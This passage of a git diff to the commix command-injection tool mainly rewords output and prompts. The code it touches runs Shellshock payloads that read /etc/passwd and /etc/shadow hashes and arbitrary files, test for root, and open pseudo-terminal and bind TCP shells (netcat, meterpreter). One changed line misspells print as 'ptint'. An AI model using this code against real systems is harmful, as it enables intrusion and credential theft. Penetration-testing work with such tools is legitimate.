sys.stdout.write("\n" + settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL != 0: - debug_msg = "Generating payload for testing the reliability of used payload." - print(settings.print_debug_msg(debug_msg)) - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write(settings.print_payload(payload_msg) + "\n") - + print(settings.print_payload(payload_msg)) + # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: how_long = cookie_injection_test(url, vuln_parameter, payload) @@ -489,15 +454,9 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL != 0: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) + if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - sys.stdout.write(settings.print_payload(payload_msg) + "\n") + print(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -535,8 +494,6 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese output = "".join(str(p) for p in output) if str(output) == str(randvcalc): - if settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) return how_long, output else: if settings.VERBOSITY_LEVEL < 2: @@ -549,18 +506,15 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese """ def export_injection_results(cmd, separator, output, check_how_long): if output != "" and check_how_long != 0 : + print(settings.SINGLE_WHITESPACE) if settings.VERBOSITY_LEVEL == 0: - print("\n") - elif settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) + print(settings.SINGLE_WHITESPACE) print(settings.print_output(output)) - info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) - sys.stdout.write("\n" + settings.print_info_msg(info_msg)) - if not menu.options.os_cmd: - print(settings.SINGLE_WHITESPACE) + info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "." + sys.stdout.write("\n" + settings.print_info_msg(info_msg) + "\n") else: - err_msg = "The '" + cmd + "' command, does not return any output." if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) - sys.stdout.write("\r" + settings.print_info_msg(err_msg) + "\n") + err_msg = "The execution of '" + cmd + "' command does not return any output." + sys.stdout.write("\r" + settings.print_error_msg(err_msg) + "\n") # eof \ No newline at end of file diff --git a/src/core/main.py b/src/core/main.py index 6765d681cf..cf38c43d40 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -64,7 +64,6 @@ Check for custom injection marker (*) """ def check_custom_injection_marker(url): - parameter = "" if url and settings.WILDCARD_CHAR in url: option = "'-u'" @@ -169,6 +168,7 @@ def user_agent_header(): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP User-Agent header." print(settings.print_debug_msg(debug_msg)) + """ Examine the request """ @@ -940,12 +940,10 @@ def main(filename, url): checks.user_aborted(filename, url) except NameError: abort_msg = "User quit (Ctrl-C was pressed)." - print(settings.SINGLE_WHITESPACE) print(settings.print_abort_msg(abort_msg)) raise SystemExit() except SystemExit: - print(settings.SINGLE_WHITESPACE) raise SystemExit() except EOFError: diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 4338b2b313..7f7b8d5b21 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -83,15 +83,17 @@ def enumeration(url, cve, check_header, filename): # Hostname enumeration #------------------------------- if menu.options.hostname: + info_msg = "Fetching hostname." + print(settings.print_info_msg(info_msg)) cmd = settings.HOSTNAME shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: - info_msg = "The hostname is " + str(shell) + "." + info_msg = "Hostname: " + str(shell) + "." print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The hostname is " + str(shell) + ".\n" + info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: @@ -99,10 +101,53 @@ def enumeration(url, cve, check_header, filename): print(settings.print_warning_msg(warn_msg)) settings.ENUMERATION_DONE = True + #------------------------------- + # The current user enumeration + #------------------------------- + if menu.options.current_user: + info_msg = "Fetching current user." + print(settings.print_info_msg(info_msg)) + cmd = settings.CURRENT_USER + cu_account, payload = cmd_exec(url, cmd, cve, check_header, filename) + if cu_account: + info_msg = "Current user: " + str(cu_account) + "." + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + info_msg = "Current user: " + str(cu_account) + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() + else: + warn_msg = "Heuristics have failed to fetch the current user." + print(settings.print_warning_msg(warn_msg)) + settings.ENUMERATION_DONE = True + + if menu.options.is_root: + info_msg = "Testing if current user has excessive privileges." + print(settings.print_info_msg(info_msg)) + cmd = re.findall(r"" + "\$(.*)", settings.IS_ROOT) + cmd = ''.join(cmd).replace("(","").replace(")","") + shell, payload = cmd_exec(url, cmd, cve, check_header, filename) + _ = "True" + if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ + (settings.TARGET_OS != "win" and shell != "0"): + _ = "False" + + info_msg = "Current user has excessive privileges: " + str(_) + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() + #------------------------------- # Retrieve system information #------------------------------- if menu.options.sys_info: + info_msg = "Fetching the underlying operating system information." + print(settings.print_info_msg(info_msg)) cmd = settings.RECOGNISE_OS target_os, payload = cmd_exec(url, cmd, cve, check_header, filename) if target_os: @@ -110,79 +155,29 @@ def enumeration(url, cve, check_header, filename): cmd = settings.DISTRO_INFO distro_name, payload = cmd_exec(url, cmd, cve, check_header, filename) if len(distro_name) != 0: - target_os = target_os + " (" + distro_name + ")" + target_os = target_os + " " + distro_name cmd = settings.RECOGNISE_HP target_arch, payload = cmd_exec(url, cmd, cve, check_header, filename) - if target_arch: - info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL - info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) + "." + if target_os and target_arch: + info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")" print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The underlying operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" + info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: - info_msg = "The underlying operating system is " + target_os + "." + info_msg = "Operating system: " + target_os + "." print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The underlying operating system is " + str(target_os) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to retrieve the system information." - print(settings.print_warning_msg(warn_msg)) - settings.ENUMERATION_DONE = True - - #------------------------------- - # The current user enumeration - #------------------------------- - if menu.options.current_user: - cmd = settings.CURRENT_USER - cu_account, payload = cmd_exec(url, cmd, cve, check_header, filename) - if cu_account: - if menu.options.is_root: - cmd = re.findall(r"" + "\$(.*)", settings.IS_ROOT) - cmd = ''.join(cmd).replace("(","").replace(")","") - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "The current user is " + str(cu_account) + info_msg = "Operating system: " + str(target_os) + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() - if shell: - if shell != "0": - print(Style.BRIGHT + " and it is" + " not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".") - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" and it is not privileged.\n") - output_file.close() - else: - print(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".") - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" and it is privileged.\n") - output_file.close() - else: - info_msg = "The current user is " + str(cu_account) + "." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "The current user is " + str(cu_account) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() else: - warn_msg = "Heuristics have failed to identify the current user." + warn_msg = "Heuristics have failed to fetch underlying operating system information." print(settings.print_warning_msg(warn_msg)) settings.ENUMERATION_DONE = True @@ -192,10 +187,9 @@ def enumeration(url, cve, check_header, filename): if menu.options.users: cmd = settings.SYS_USERS sys_users, payload = cmd_exec(url, cmd, cve, check_header, filename) - info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE + info_msg = "Fetching content of the file '" + settings.PASSWD_FILE info_msg += "' in order to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + print(settings.print_info_msg(info_msg)) try: if sys_users[0] : sys_users = "".join(str(p) for p in sys_users).strip() @@ -205,11 +199,9 @@ def enumeration(url, cve, check_header, filename): sys_users = sys_users.split(" ") # Check for appropriate '/etc/passwd' format. if len(sys_users) % 3 != 0 : - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that '" + settings.PASSWD_FILE - warn_msg += "' file is not in the appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) + warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " + warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." + print(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") @@ -221,11 +213,9 @@ def enumeration(url, cve, check_header, filename): for user in range(0, len(sys_users), 3): sys_users_list.append(sys_users[user : user + 3]) if len(sys_users_list) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_users_list)) info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] info_msg += " in '" + settings.PASSWD_FILE + "'." - print(settings.SINGLE_WHITESPACE) print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") @@ -266,41 +256,36 @@ def enumeration(url, cve, check_header, filename): else : is_privileged = "" is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : - warn_msg = "It seems that '" + settings.PASSWD_FILE - warn_msg += "' file is not in the appropriate format. " - warn_msg += "Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) + warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " + warn_msg += "appropriate format. Thus, it is expoted as a text file." + print(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) + print(sys_users) output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(" " + sys_users) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to read the '" warn_msg += settings.PASSWD_FILE + "'." - print(settings.print_warning_msg(warn_msg)) + ptint(settings.print_warning_msg(warn_msg)) except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() pass - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) + print(settings.SINGLE_WHITESPACE) warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "'." + warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." print(settings.print_warning_msg(warn_msg)) - pass + pass settings.ENUMERATION_DONE = True #------------------------------------- @@ -314,50 +299,50 @@ def enumeration(url, cve, check_header, filename): sys_passes = sys_passes.replace(" ", "\n") sys_passes = sys_passes.split( ) if len(sys_passes) != 0 : - info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE + info_msg = "Fetching content of the file '" + settings.SHADOW_FILE info_msg += "' in order to enumerate users password hashes. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - sys.stdout.write(settings.SUCCESS_STATUS) - info_msg = "Identified " + str(len(sys_passes)) - info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'." - print(settings.SINGLE_WHITESPACE) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) - output_file.close() - count = 0 - for line in sys_passes: - count = count + 1 - try: - if ":" in line: - fields = line.split(":") - if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1] + Style.RESET_ALL) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") - output_file.close() - # Check for appropriate (/etc/shadow) format - except IndexError: - if count == 1 : - warn_msg = "It seems that '" + settings.SHADOW_FILE - warn_msg += "' file is not in the appropriate format. " - warn_msg += "Thus, it is expoted as a text file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - print(fields[0]) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + fields[0]) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.SHADOW_FILE + "' file." - print(settings.print_warning_msg(warn_msg)) + print(settings.print_info_msg(info_msg)) + sys_passes = sys_passes.replace(" ", "\n") + sys_passes = sys_passes.split() + if len(sys_passes) != 0 : + info_msg = "Identified " + str(len(sys_passes)) + info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] + info_msg += " in '" + settings.SHADOW_FILE + "'." + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) + output_file.close() + count = 0 + for line in sys_passes: + count = count + 1 + try: + if ":" in line: + fields = line.split(":") + if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": + print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") + output_file.close() + # Check for appropriate '/etc/shadow' format. + except IndexError: + if count == 1 : + warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " + warn_msg += "in the appropriate format. Thus, it is expoted as a text file." + print(settings.print_warning_msg(warn_msg)) + print(fields[0]) + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write(" " + fields[0]) + output_file.close() + else: + warn_msg = "It seems that you don't have permissions to read the '" + warn_msg += settings.SHADOW_FILE + "' file." + print(settings.print_warning_msg(warn_msg)) + settings.ENUMERATION_DONE = True """ @@ -461,18 +446,19 @@ def file_access(url, cve, check_header, filename): #------------------------------------- if menu.options.file_read: file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() + info_msg = "Fetching content of the file: '" + info_msg += file_to_read + "'." + print(settings.print_info_msg(info_msg)) # Execute command cmd = "cat " + settings.FILE_READ + file_to_read shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: - info_msg = "Fetched content of the file '" - info_msg += file_to_read + "'." - print(settings.print_bold_info_msg(info_msg)) - print(settings.print_sub_content(shell)) + _ = "Fetched file content" + print(settings.print_retrieved_data(_, shell)) output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "Extracted content of the file '" - info_msg += file_to_read + "' : " + shell + ".\n" + info_msg = "Fetched file content '" + info_msg += file_to_read + "' : " + shell + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: @@ -617,11 +603,7 @@ def shellshock_handler(url, http_request_method, filename): payload = shellshock_payloads(cve, attack_vector) # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - print(settings.print_payload(payload)) - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) + if settings.VERBOSITY_LEVEL != 0: print(settings.print_payload(payload)) header = {check_header : payload} request = _urllib.request.Request(url, None, header) @@ -683,18 +665,19 @@ def shellshock_handler(url, http_request_method, filename): if settings.VERBOSITY_LEVEL != 0: checks.total_of_requests() - info_msg = "The " + check_header + " " + vuln_parameter - info_msg += " seems injectable via " + technique + "." + finding = check_header + " " + vuln_parameter + # Print the findings to terminal. + info_msg = finding + " appears to be injectable via " + technique + "." if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) print(settings.print_bold_info_msg(info_msg)) print(settings.print_sub_content(payload)) # Enumeration options. - if settings.ENUMERATION_DONE == True: + if settings.ENUMERATION_DONE: while True: - message = "Do you want to ignore stored session and enumerate again? [Y/n] > " - enumerate_again = common.read_input(message, default="Y", check_batch=True) + message = "Do you want to ignore stored session and enumerate again? [y/N] > " + enumerate_again = common.read_input(message, default="N", check_batch=True) if enumerate_again in settings.CHOICE_YES: enumeration(url, cve, check_header, filename) break @@ -712,8 +695,8 @@ def shellshock_handler(url, http_request_method, filename): # File access options. if settings.FILE_ACCESS_DONE == True: while True: - message = "Do you want to ignore stored session and access files again? [Y/n] > " - file_access_again = common.read_input(message, default="Y", check_batch=True) + message = "Do you want to ignore stored session and access files again? [y/N] > " + file_access_again = common.read_input(message, default="N", check_batch=True) if file_access_again in settings.CHOICE_YES: file_access(url, cve, check_header, filename) break @@ -731,33 +714,32 @@ def shellshock_handler(url, http_request_method, filename): if menu.options.os_cmd: cmd = menu.options.os_cmd shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - info_msg = "Executing the user-supplied command '" + cmd + "'." + info_msg = "Executing the user-supplied command: '" + cmd + "'." if shell: print(settings.print_info_msg(info_msg)) - print(settings.SINGLE_WHITESPACE) - print(settings.command_execution_output(shell)) - print(settings.SINGLE_WHITESPACE) + _ = "'" + cmd + "' execution output" + print(settings.print_retrieved_data(_, shell)) else: - err_msg = "The '" + cmd + "' command, does not return any output." + err_msg = "The execution of '" + cmd + "' command does not return any output." print(settings.print_critical_msg(err_msg)) - # Pseudo-Terminal shell - go_back = False - go_back_again = False - while True: - if go_back == True: - break - message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " - if settings.IS_TTY: - gotshell = common.read_input(message, default="Y", check_batch=True) - else: - gotshell = common.read_input(message, default="n", check_batch=True) - if gotshell in settings.CHOICE_YES: - print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - try: + try: + # Pseudo-Terminal shell + go_back = False + go_back_again = False + while True: + if go_back == True: + break + message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + if settings.IS_TTY: + gotshell = common.read_input(message, default="Y", check_batch=True) + else: + gotshell = common.read_input(message, default="n", check_batch=True) + if gotshell in settings.CHOICE_YES: + print(settings.OS_SHELL_TITLE) + if settings.READLINE_ERROR: + checks.no_readline_module() + while True: if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) @@ -792,41 +774,39 @@ def shellshock_handler(url, http_request_method, filename): print(settings.SINGLE_WHITESPACE) sys.stdout.write(settings.print_payload(payload)) print(settings.SINGLE_WHITESPACE) - err_msg = "The '" + cmd + "' command, does not return any output." + err_msg = "The execution of '" + cmd + "' command does not return any output." print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) + elif gotshell in settings.CHOICE_NO: + if checks.next_attack_vector(technique, go_back) == True: + break + else: + if no_result == True: + return False + else: + logs.logs_notification(filename) + return True - except KeyboardInterrupt: - raise + elif gotshell in settings.CHOICE_QUIT: + raise SystemExit() - except SystemExit: - raise + else: + err_msg = "'" + gotshell + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + continue + break + + except (KeyboardInterrupt, SystemExit): + print(settings.SINGLE_WHITESPACE) + raise - except EOFError: - if not settings.IS_TTY: - print(settings.SINGLE_WHITESPACE) - err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) - raise + except EOFError: + if not settings.IS_TTY: + print(settings.SINGLE_WHITESPACE) + err_msg = "Exiting, due to EOFError." + print(settings.print_error_msg(err_msg)) + raise - except TypeError: - break - - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: - break - else: - if no_result == True: - return False - else: - logs.logs_notification(filename) - return True - elif gotshell in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - continue + except TypeError: break if no_result == True: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index ccd7761cb7..4f18522c36 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -158,7 +158,7 @@ def do_GET_check(url, http_request_method): Define the vulnerable GET parameter. """ def vuln_GET_param(url): - urls_list = [] + # Define the vulnerable parameter if "?" not in url: # Grab the value of parameter. diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 06cf9ab0d3..d7eb890432 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -1183,7 +1183,7 @@ def check_target_os(server_banner): print(settings.print_critical_msg(err_msg)) raise SystemExit() else: - identified_os = "unix-like (" + settings.TARGET_OS + ")" + identified_os = "Unix-like (" + settings.TARGET_OS + ")" if menu.options.os and user_defined_os == "win": if not checks.identified_os(): settings.TARGET_OS = user_defined_os @@ -1207,7 +1207,7 @@ def check_target_os(server_banner): if menu.options.batch: if not settings.CHECK_BOTH_OS: settings.CHECK_BOTH_OS = True - check_type = "unix-like based" + check_type = "Unix-like based" elif settings.CHECK_BOTH_OS: settings.TARGET_OS = "win" settings.CHECK_BOTH_OS = False diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index d1acf6c6dc..94aca7f6f8 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -178,13 +178,12 @@ def netcat_version(separator): ] while True: - nc_version = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Netcat bind TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. -Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. -Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host. -\ncommix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_netcat""" + Style.RESET_ALL + """) > """) + nc_version = _input("""""" + Style.BRIGHT + """Available netcat bind TCP shell options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host. +commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_netcat""" + Style.RESET_ALL + """) > """) # Default Netcat if nc_version == '1': @@ -244,18 +243,17 @@ def netcat_version(separator): def other_bind_shells(separator): while True: - other_shell = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Generic bind TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP bind TCP shell. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl bind TCP shell. -Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby bind TCP shell. -Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python bind TCP shell. -Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat bind TCP shell. -Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Ncat bind TCP shell. -\n---[ """ + Style.BRIGHT + Fore.BLUE + """Meterpreter bind TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a PHP meterpreter bind TCP shell. -Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python meterpreter bind TCP shell. -\ncommix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_other""" + Style.RESET_ALL + """) > """) + other_shell = _input("""""" + Style.BRIGHT + """Available generic bind TCP shell options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP bind TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl bind TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby bind TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python bind TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat bind TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Ncat bind TCP shell. +""" + Style.BRIGHT + """Available meterpreter bind TCP shell options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a PHP meterpreter bind TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python meterpreter bind TCP shell. +commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_other""" + Style.RESET_ALL + """) > """) # PHP-bind-shell if other_shell == '1': @@ -457,11 +455,10 @@ def other_bind_shells(separator): def bind_tcp_options(separator): while True: - bind_tcp_option = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Bind TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat bind TCP shells. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other bind TCP shells. -\ncommix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """) + bind_tcp_option = _input("""""" + Style.BRIGHT + """Available bind TCP shell options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + 